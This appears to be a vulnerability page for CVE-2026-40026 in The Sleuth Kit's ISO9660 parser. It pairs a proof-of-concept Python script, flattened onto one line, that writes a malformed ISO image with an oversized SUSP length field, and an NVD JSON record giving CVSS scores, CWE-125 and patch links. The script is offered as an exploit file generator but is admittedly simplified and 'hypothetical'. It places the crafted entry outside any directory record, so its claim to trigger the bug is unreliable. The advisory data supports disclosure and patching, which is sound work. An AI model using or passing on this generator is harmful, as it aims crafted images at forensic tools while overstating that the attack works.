CVE-2026-40026

import struct import os # PoC to generate a malicious ISO image triggering OOB read in Sleuth Kit # This script creates a minimal ISO structure with a malformed SUSP entry. def generate_malicious_iso(filename): with open(filename, 'wb') as f: # Write a dummy Primary Volume Descriptor (simplified) # Standard ISO header logic would go here, focusing on SUSP part # SUSP (System Use Sharing Protocol) signature # 'ER' (Extension Record) or 'SP' (Suspension Indicator) or custom # We craft a SUSP entry with invalid length to trigger OOB read # SUSP Header: Signature (2 bytes), Length (2 bytes) # Let's use a hypothetical signature 'XX' and a large length signature = b'XX' # Length of the SUSP entry. If this is larger than available data, memcpy reads OOB. # len_id, len_des, len_src are derived from this structure in some implementations. malicious_length = 0xFFFF # Large value to trigger OOB read susP_entry = struct.pack('>2sH', signature, malicious_length) # Padding to simulate minimal ISO structure f.write(b'\x00' * 0x8000) # System Area f.write(b'\x01' + b'CD001' + b'\x00' + b'\x00' * 2041) # PVD (simplified) # Inject the malformed SUSP data into a Directory Record or similar location # where Sleuth Kit's parse_susp() would be invoked. f.write(susP_entry) f.write(b'\x00' * 2048) if __name__ == "__main__": print("Generating malicious ISO file: poc_cve_2026_40026.iso") generate_malicious_iso("poc_cve_2026_40026.iso") print("Done. Analyze this file with The Sleuth Kit (tsk_recover, fls, etc.).")

{"cve": {"id": "CVE-2026-40026", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:22.780", "lastModified": "2026-04-17T17:14:18.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Sleuth Kit through 4.14.0 contains an out-of-bounds read vulnerability in the ISO9660 filesystem parser where the parse_susp() function trusts len_id, len_des, and len_src fields from the disk image to memcpy data into a stack buffer without verifying that the source data falls within the parsed SUSP block. An attacker can craft a malicious ISO image that causes reads past the end of the SUSP data buffer, and a zero-length SUSP entry can trigger an infinite parsing loop."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sleuthkit:the_sleuth_kit:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.14.0", "matchCriteriaId": "C85787E6-ADD8-41F5-AC4D-AD4740F31D45"}]}]}], "references": [{"url": "https://github.com/sleuthkit/sleuthkit/commit/a95b0ac21733b059a517aaefa667a17e1bcbdee1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/sleuthkit/sleuthkit/pull/3445", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://mobasi.ai/sentinel", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/sleuth-kit-iso9660-susp-extension-reference-out-of-bounds-read", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}